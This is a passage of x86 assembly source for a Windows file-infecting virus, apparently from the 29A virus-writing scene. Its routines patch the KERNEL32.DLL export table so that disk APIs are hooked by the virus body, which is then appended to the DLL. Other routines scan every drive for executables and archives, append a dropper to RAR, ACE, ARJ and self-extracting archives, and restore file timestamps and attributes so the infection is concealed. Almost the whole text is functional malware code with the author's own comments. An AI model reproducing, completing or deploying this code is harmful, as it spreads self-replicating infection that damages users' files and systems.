call [ebp+ddUnmapViewOfFile]
infect_file_closeMap:
push [ebp+file_hmap] ;mapped file object
call [ebp+ddCloseHandle]
infect_file_time:
lea eax,[ebp+dta.dta_time_lastwrite]
lea ecx,[ebp+dta.dta_time_lastaccess]
lea edx,[ebp+dta.dta_time_creation]
call [ebp+ddSetFileTime], /
[ebp+file_handle], /
edx, ecx, eax
infect_file_close:
mov ebx,[ebp+file_handle] ;close file handle
call __MyCloseFile
infect_file_restattr:
mov ecx,[ebp+dta.dta_fileattr]
mov edx,[ebp+filename_ptr] ;restore file attributes
call __MySetAttrFile
infect_file_exit:
popa ;go to HyperInfection or to
ret ;Kernel32 hooked functions
;---------------------------------------------------------
;Common file infected semi-functions.
;
__getLastObjectTable:
movzx eax,[esi+NT_FileHeader.FH_NumberOfSections]
cdq
mov ecx,IMAGE_SIZEOF_SECTION_HEADER
dec eax
mul ecx ;eax=offs of last section
movzx edx,[esi+NT_FileHeader.FH_SizeOfOptionalHeader]
add eax,edx
add eax,esi
add eax,offset NT_OptionalHeader.OH_Magic ;seek to l.o. table
xchg eax,ebx
ret
;哪拇 function to hook some funtions from KERNEL32.DLL 媚哪哪哪哪哪哪哪哪?
;---------------------------------------------------------
;At last I've finished this unpalatable function. I remem-
;ber how hardly I have found an interesting source about
;this method because I have many many problems with this.
;So, let's begin. At first I will get these addresses:
; * name table pointer (as are function names)
; * address table pointer (as are functions addresses)
; * ordinal table pointer
;Then I'll get function name, calculate its CRC32 and I'll
;compare it with my future-hooked CRC32 table. If I will
;find it, i will save its original address, replace by my
;my new offset and I'll write it to the file.
;
;I would like to thank:
; * "Memory Lapse" for his "Win32.Heretic" source
; * Darkman/29A for giving me that source
;
;I must infect "kernel32.dll" because I must hook all disk
;functions because of "Prizzy Hyper Infection for API".
;
infect_file_kernel:
; save all registers
pusha
; check address of APIs in KERNEL32 file body
mov eax,[ebp+file_hmem]
add eax,[eax.MZ_lfanew] ;go to new "PE" header
mov eax,dword ptr [eax.OH_DirectoryEntries + /
IMAGE_SIZEOF_FILE_HEADER + /
00000004h] ;get Export Directory Table
add eax,[ebp+file_hmem]
mov ebx,[eax.ED_AddressOfOrdinals]
mov esi,[eax.ED_AddressOfNames]
mov edx,[eax.ED_AddressOfFunctions]
push [eax.ED_BaseOrdinal] ;save BaseOrdinal
add eax,[eax.ED_BaseOrdinal]
add ebx,[ebp+file_hmem] ;adjust ordinal table pointer
add esi,[ebp+file_hmem] ;adjust name table pointer
add edx,[ebp+file_hmem] ;adjust address table pointer
push edx esi ebx ;save startup values
; main loop
lea edi,[ebp+Hooked_API]
mov ecx,00000001h
__ifk_next_loop:
push edx ;address table pointer
push ecx ;save counter
shl ecx,01h ;convert to word index
movzx eax,word ptr [ebx+ecx] ;calculate ordinal index
sub eax,[esp+00000014h] ;relative to ordinal basee
shl eax,02h ;convert to dword index
mov edx,eax
mov ecx,[esp+00000010h] ;address pointer table
add eax,ecx ;calculate offset
lea ecx,[ecx+edx] ;RVA of API
push esi ;address name table
mov esi,[esi] ;get pointer from name table
add esi,[ebp+file_hmem]
call __get_CRC32 ;get CRC32 for function name
cmp eax,[edi] ;compare CRC32
pop esi
jnz __ifk_not_found
push edi ;load original function addr
lea eax,[ebp+Hooked_API]
sub edi,eax
shl edi,01h ;so, (x/2)*8
lea eax,[ebp+Hooked_API_functions]
add edi,eax
mov eax,[edi] ;get address into "jmp ????"
add eax,ebp ;ehm, adjust that address
mov ebx,[ecx] ;load original address
add ebx,[ebp+kernel_base]
mov [eax],ebx ;save original func. address
mov eax,[edi+00000004h] ;load new address in v.body
pop edi
add edi,00000004h ;next CRC32 function value
sub eax,offset virus_start ; - "offset"
add eax,[ebp+dta.dta_filesize] ;new func. pos in "k32"
mov [ecx],eax
; for next loop I must restart these values
mov ebx,[esp+00000008h] ;load ordinal table pointer
mov esi,[esp+0000000Ch] ;load name table pointer
mov edx,[esp+00000010h] ;load address table pointer
mov dword ptr [esp],00000000h ;reset counter
mov [esp+00000004h],edx ;reset address table pointer
jmp __ifk_no_change ;this was fucking bug !
__ifk_not_found:
add esi,00000004h ;next name pointer
add dword ptr [esp + / ;next function pointer
00000004h],00000004h
__ifk_no_change:
pop ecx ;functions counter
inc ecx ;next function
pop edx ;address table pointer
cmp dword ptr [edi],00000000h ;end of hooked functions ?
jnz __ifk_next_loop
mov dword ptr [ebp+it_is_kernel],00000000h
mov dword ptr [ebp+HyperInfection_k32],00000000h
; write this virus body to the end of "kernel32.dll"
; virus body cannot be encrypted...
lea esi,[ebp+virus_start] ;start of virus body
mov edi,[ebp+mem_address] ;allocated memory
mov ecx,mem_size
rep movsb
mov dword ptr [ebp+it_is_kernel],00000001h
mov eax,mem_size ;without poly-engine !!!
mov [ebp+poly_finish],eax
add esp,4*4
popa
ret ;complex way how to go back
;哪拇 main function of infect all filez on disks 媚哪哪哪哪哪哪哪哪哪哪哪?
;---------------------------------------------------------
;This function searchs these extensions on all disks:
; EXE, ZIP, ARJ, RAR, ACE, CAB, ...
;and many namez, find "HyperTable" struct for more info.
;If you want to know more about this method, open "Hyper
;Infection" article in 29A #4, or download one from my web
;
;Note: * This is version for API, for IDT orientation use
; code from "Win95.Prizzy", thanks.
;
init_search:
pusha
call get_base_ebp ;where we're into ebp
mov ebx,[ebp+search_table] ;position in HyperTable
cmp byte ptr [ebp+search_start],00h
jnz __continue
mov byte ptr [ebp+search_start],01h
call get_disks ;get drive parameters
lea eax,[ebp+time]
push eax
call [ebp+ddGetSystemTime] ;get actual time
mov eax,search_mem_size ;size of mem for searching
call malloc
jz init_search_error ;were we sucessful ?
mov [ebp+search_address],eax
mov eax,005C3A43h ;'C://0'
mov dword ptr [ebp+search_filename],eax
__searching:
mov byte ptr [ebp+search_plunge],00h
jmp search_all_dirs
__searching_end:
cmp byte ptr [ebp+search_filename],'Z'
jz init_search_done
inc byte ptr [ebp+search_filename]
mov word ptr [ebp+search_filename+2],005Ch
; what disk is it ? fixed ? cd-rom ? ram-disk ? etc. ?
mov cl,'A'
sub cl,[ebp+search_filename]
neg cl
mov eax,00000001h
shl eax,cl ;convert to BCD
test [ebp+gdt_flags],eax
jnz __searching ;may I "use" this disk ?
jmp __searching_end ;uaaaaah, i'm crazy... :)
init_search_exit:
mov ecx,dword ptr [ebp+search_address]
call mdealloc ;deallocate memory
init_search_error:
popa ;restore all regz
ret
init_search_done: ;all disks infected?
call hookHyperInfection_Done ;remove timer
jmp init_search_exit
search_all_dirs:
lea ebx,[ebp+HyperTable]
search_all_dirs_continue:
call __add_filename ;add filename or extension
call __calc_in_mem ;offs dta in mem to esi
lea edx,[ebp+search_filename]
call __MyFindFirst
mov [esi-size search_handle],eax ;save handle
jc __find_dir ;error ?
__repeat:
call __clean ;delete extension
push esi
lea esi,[esi].dta_filename ;and add file name
@copysz ;copy with zero char
pop esi ;restore esi=dta in memory
lea eax,[ebp+search_filename]
mov [ebp+filename_ptr],eax
__final_SoftICE_1:
nop
nop
; int 4 ;final SoftICE breakpoint
mov eax,[ebx-00000004h] ;input value
push dword ptr [ebx-00000008h]
add [esp],ebp ;this was ghastly bug !
call [esp] ;call function
pop eax
push word ptr [ebp+time.wSecond]
lea eax,[ebp+time] ;give time other appz
push eax
call [ebp+ddGetSystemTime]
pop cx
mov [ebp+search_table],ebx ;position in HyperTable
cmp cx,[ebp+time.wSecond] ;out of time ?
jnz init_search_error
__continue:
call __calc_in_mem ;esi=dta in memory
mov eax,[esi-size search_handle] ;handle of FindFirstFile
call __MyFindNext
jnc __repeat
call __MyFindClose
__find_dir:
call __clean ;remove file name/extension
cmp byte ptr [ebx],0FFh ;last file name ?
jnz search_all_dirs_continue
__find_dir_continue:
mov [edi],002A2E2Ah ;add '*.*',0
call __calc_in_mem
lea edx,[ebp+search_filename]
call __MyFindFirst ;search directory "only"
mov [esi-size search_handle],eax
jc __search_exit
__find_in_dir:
test [esi].dta_fileattr,10h ;is it directory ?
jz __find_next
cmp [esi].dta_filename,'.' ;it can't be directory
jz __find_next
inc byte ptr [ebp+search_plunge]
call __get_last_char ;edi=last char of filename
lea esi,[esi].dta_filename ;esi=filename
call __clean ;remove extension
@copysz ;copy directory name and
mov word ptr [edi-1],005Ch ;set '/' at the end
jmp search_all_dirs ;search in new directory
__find_next:
call __calc_in_mem
mov eax,[esi-size search_handle]
call __MyFindNext
jnc __find_in_dir
__search_exit:
call __clean ;remove file name and '/'
mov byte ptr [edi-1],00h ;it's out of directory
dec byte ptr [ebp+search_plunge]
cmp byte ptr [ebp+search_filename+2],00h
jz __searching_end
jmp __find_next
__calc_in_mem: ;get pointer to dta in memory
movzx esi,byte ptr [ebp+search_plunge]
imul esi,size dta+size search_handle
add esi,[ebp+search_address]
add esi,size search_handle
ret
__add_filename: ;add f.n. or ext by HyperTable
call __get_last_char
cmp byte ptr [ebx],00h ;only extension ?
jnz __af_fullcopy
mov eax,[ebx+1] ;load extension
mov byte ptr [edi],2Ah ;'*'
mov [edi+1],eax ;and extension
mov byte ptr [edi+5],00h ;zero byte
add ebx,HyperTable_OneSize
cmp byte ptr [ebx - /
HyperTable_HalfSize],00h;search this extension ?
jz __aff_finish
pop eax
jmp __find_dir
__aff_finish:
ret
__af_fullcopy:
inc ebx
mov al,byte ptr [ebx] ;load filename's char
mov [edi],al
inc edi
or al,al ;end of filename ?
jnz __af_fullcopy
add ebx,HyperTable_HalfSize+1;+1 means zero byte
cmp byte ptr [ebx - /
HyperTable_HalfSize],00h;search this filename ?
jz __aff_finish
pop eax
jmp __find_dir
__get_last_char: ;edi=last char+1 in filename
lea edi,[ebp+search_filename]
mov ecx,filename_size
xor al,al
cld
repnz scasb
dec edi
ret
__clean: ;clean last item in filename
lea edx,[ebp+search_filename]
call __get_last_char
__2:mov byte ptr [edi],0
dec edi
cmp byte ptr [edi],'/'
jnz __2
inc edi
ret
;哪拇 infection in ACE/RAR and ACE/RAR EXE-SFX archivez 媚哪哪哪哪哪哪哪哪
;---------------------------------------------------------
;This function scans input EXE file whether it is not SFX
;for RAR (Dos,W32) or for ACE (Dos,Win32 - German/English)
;If yes, I will put compressed dropper in the end of file.
;Why that ? See on "infect_ACE:" comment for more info.
;
__iSFX_fHandle dd 00000000h ;file's handle
__iSFX_fMemory dd 00000000h ;file's headers
__iSFX_nCompare dd 00000000h ;comparing places
;
infect_ACE_RAR:
; open input file
mov edx,[ebp+filename_ptr]
call __MyOpenFile
jc __iSFX_finish
mov [ebp+__iSFX_fHandle],eax
; allocate memory for comparing
mov eax,10000h
call malloc
mov [ebp+__iSFX_fMemory],eax
; we must search certain bytes on certain file position
mov [ebp+__iSFX_nCompare],7 ;six! comparing
__iSFX_search_1:
dec [ebp+__iSFX_nCompare]
jz __iSFX_sEnd
lea ebx,[ebp+Archive_MagicWhere]
__iSFX_magic_okay:
mov eax,[ebp+__iSFX_nCompare]
imul eax,00000004h
add ebx,eax
movzx ecx,word ptr [ebx-0002h] ;ecx=bytes to read
movzx esi,word ptr [ebx-0004h] ;esi=file pos
; now, i will read datas
mov edx,[ebp+__iSFX_fMemory] ;allocated place
mov ebx,[ebp+__iSFX_fHandle]
call __MyReadFile ;i can't check error!
; prepare to scan
mov edi,[ebp+__iSFX_fMemory]
mov ebx,edi
add ebx,ecx ;end of memory buffer
__iSFX_search_2:
cmp edi,ebx
ja __iSFX_search_1
; search archive's signatures
lea esi,[ebp+RAR_Magic] ;no, esi=RAR_Magic
mov ecx,RAR_Magic_Length ;and its size
cmp [ebp+__iSFX_nCompare],00000004h
jae __iSFX_s2_continue ;is it really RAR ?
lea esi,[ebp+ACE_Magic] ;esi=ACE_Magic
mov ecx,ACE_Magic_Length ;and its size
__iSFX_s2_continue:
cld
rep cmpsb ;compare magics
jnz __iSFX_search_2 ;shit, we must search on other place
; position on header's start
sub edi,RAR_Magic_Length
cmp [ebp+__iSFX_nCompare],00000004h
jae __iSFX_h_read
sub edi,2*ACE_Magic_Length-RAR_Magic_Length
__iSFX_h_read:
; check multivolume flag
cmp [ebp+__iSFX_nCompare],00000004h
jae __iSFX_mf_rar
test word ptr [edi+ACEhHeadFlags-ACE_h_struct],2048
jmp __iSFX_mf_finish
__iSFX_mf_rar:
test word ptr [edi+RARFileFlags-RARSignature],0001h
__iSFX_mf_finish:
jnz __iSFX_sEnd
; call "child" functions, set certain input parameters
mov eax,[ebp+__iSFX_fHandle]
mov [ebp+__iACR_fHandle],eax ;modify handle
mov [ebp+__iACR_Type],__iACR_tRAR ;yeah, RAR archive
cmp [ebp+__iSFX_nCompare],00000004h
jae __iSFX_cc_finish
mov [ebp+__iACR_Type],__iACR_tACE ;yeah, ACE archive
__iSFX_cc_finish:
mov ebx,[ebp+__iSFX_fHandle] ;check whether SFX
call __get_archive_infected ;archive has been
jc __iSFX_fClose ;infected
call __iACR_child_function ;call main function
jmp __iSFX_finish ;to infect ACE or RAR
__iSFX_sEnd:
call __iSFX_fClose
stc
ret
__iSFX_fClose:
mov ebx,[ebp+__iSFX_fHandle]
call __MyCloseFile
__iSFX_finish:
clc
ret
;哪拇 infection in ACE, RAR archivez 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
;---------------------------------------------------------
;This function infects ACE and RAR archivez. Unfortunately
;I can't my dropper place inside archive 'cause if archive
;is solid type resulting archive won't okay. Yes, this was
;shock for me. But if archive isn't solid all will be okay
;althrough this method is not support here. So, my dropper
;is compressed but in the end of file.
;
; input: filename_ptr ... pointer to an ARJ's filename
; NewARJ struc ... has been filled? I dont know!
;
; output: nothing
;
__iACR_fHandle dd 00000000h ;archive's handle
__iACR_dHandle dd 00000000h ;dropper's handle
__iACR_dMemory dd 00000000h ;dropper's body
;
__iACR_Type dd 00000000h ;ACE or RAR ?
__iACR_tACE equ 00h ;ACE signature
__iACR_tRAR equ 01h ;RAR signature
;
infect_ACE: mov [ebp+__iACR_Type],__iACR_tACE ;yeah, ACE archive
jmp infect_ACR
infect_RAR: mov [ebp+__iACR_Type],__iACR_tRAR ;yeah, RAR archive
; here, common functions is starting...
infect_ACR:
; check whether dropper exists
mov eax,[ebp+__iACR_Type] ;get archive type
imul eax,size AProgram
cmp [ebp+eax+NewACE.dropper],00000000h
jz __iACR_finish ;does dropper exists ?
; open archive file
mov edx,[ebp+filename_ptr]
call __MyOpenFile
jc __iACR_finish
mov [ebp+__iACR_fHandle],eax
; check whether archive has been infected
mov ebx,[ebp+__iACR_fHandle]
call __get_archive_infected
jc __iACR_fClose
; read archive header
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
jnz __iACR_rar_1
lea edx,[ebp+ACE_h_struct] ;destination place
mov ecx,ACENeededBytes
jmp __iACR_end_1
__iACR_rar_1:
lea edx,[ebp+RARSignature] ;destination place
mov ecx,RARSignature_Length + /
RARNeededBytes ;number of bytes to read
__iACR_end_1:
xor esi,esi
mov ebx,[ebp+__iACR_fHandle]
call __MyReadFile
jc __iACR_fClose
; check archive's header
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
jnz __iACR_rar_2
cmp dword ptr [ebp+ACEhSignature],'CA**'
jnz __iACR_fClose ;the 1st part of sign
cmp word ptr [ebp+ACEhSignature+00000004h],'*E'
jnz __iACR_fClose ;the 2nd part
test word ptr [ebp+ACEhHeadFlags],2048
jnz __iACR_fClose ;multivolume flag ?
jmp __iACR_end_2
__iACR_rar_2:
cmp dword ptr [ebp+RARSignature],'!raR'
jnz __iACR_fClose
cmp word ptr [ebp+RARSignature+00000004h],071Ah
jnz __iACR_fClose
test word ptr [ebp+RARFileFlags],0001h
jnz __iACR_fClose ;multivolume flag ?
__iACR_end_2:
; open dropper file
__iACR_child_function:
mov edx,[ebp+__iACR_Type] ;get archive type
imul edx,size AProgram
mov edx,[ebp+edx+NewACE.dropper]
or edx,edx ;once again test:
jz __iACR_finish ;does dropper exists ?
call __MyOpenFile
jc __iACR_fClose
mov [ebp+__iACR_dHandle],eax
; get dropper's file size
mov ebx,[ebp+__iACR_dHandle]
call __MyGetFileSize
mov ecx,eax
; allocate memory for dropper's file body
call malloc
mov [ebp+__iACR_dMemory],eax
; read whole dropper's body
mov edx,[ebp+__iACR_dMemory];destination buffer
xor esi,esi ;file position
mov ebx,[ebp+__iACR_dHandle];dropper's handle
call __MyReadFile
jc __iACR_dClose
; get archive file size
mov ebx,[ebp+__iACR_fHandle]
call __MyGetFileSize
mov esi,eax
; "update" archive file by my dropper
cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE
jnz __iACR_rar_3
movzx eax,word ptr [edx+ACEhHeadSize-ACE_h_struct]
add eax,00000004h
jmp __iACR_end_3
__iACR_rar_3:
movzx eax,word ptr [edx+RARHeaderSize-RARSignature]
add eax,RARSignature_Length
__iACR_end_3:
add edx,eax ;header take away
sub ecx,eax ;without main header, please
mov ebx,[ebp+__iACR_fHandle]
call __MyWriteFile ;write my dropper, uaaah :)
; archive has been infected
mov ebx,[ebp+__iACR_fHandle]
call __set_archive_infected
__iACR_dClose:
mov ebx,[ebp+__iACR_dHandle]
call __MyCloseFile
__iACR_dealloc:
mov eax,[ebp+__iACR_dMemory]
call mdealloc
__iACR_fClose:
mov ebx,[ebp+__iACR_fHandle]
call __MyCloseFile
__iACR_finish:
ret
;哪拇 infection in ARJ archivez 媚哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
;---------------------------------------------------------
;This function infect ARJ archivez by my prepared dropper.
;Dropper is compressed by ARJ (four method without store).
;
; input: filename_ptr ... pointer to an ARJ's filename
; NewARJ struc ... 's been filled? I dont know!
;
; output: nothing
;
__iARJ_fHandle dd 00000000h ;archive's handle
__iARJ_fFiles dd 00000000h ;number of files
__iARJ_dHandle dd 00000000h ;dropper's handle
__iARJ_dMemory dd 00000000h ;dropper's file body
;
infect_ARJ:
xor eax,eax
mov [ebp+__iARJ_fFiles],eax
; check whether dropper exists
cmp [ebp+NewARJ.dropper],00000000h
jz __iARJ_fi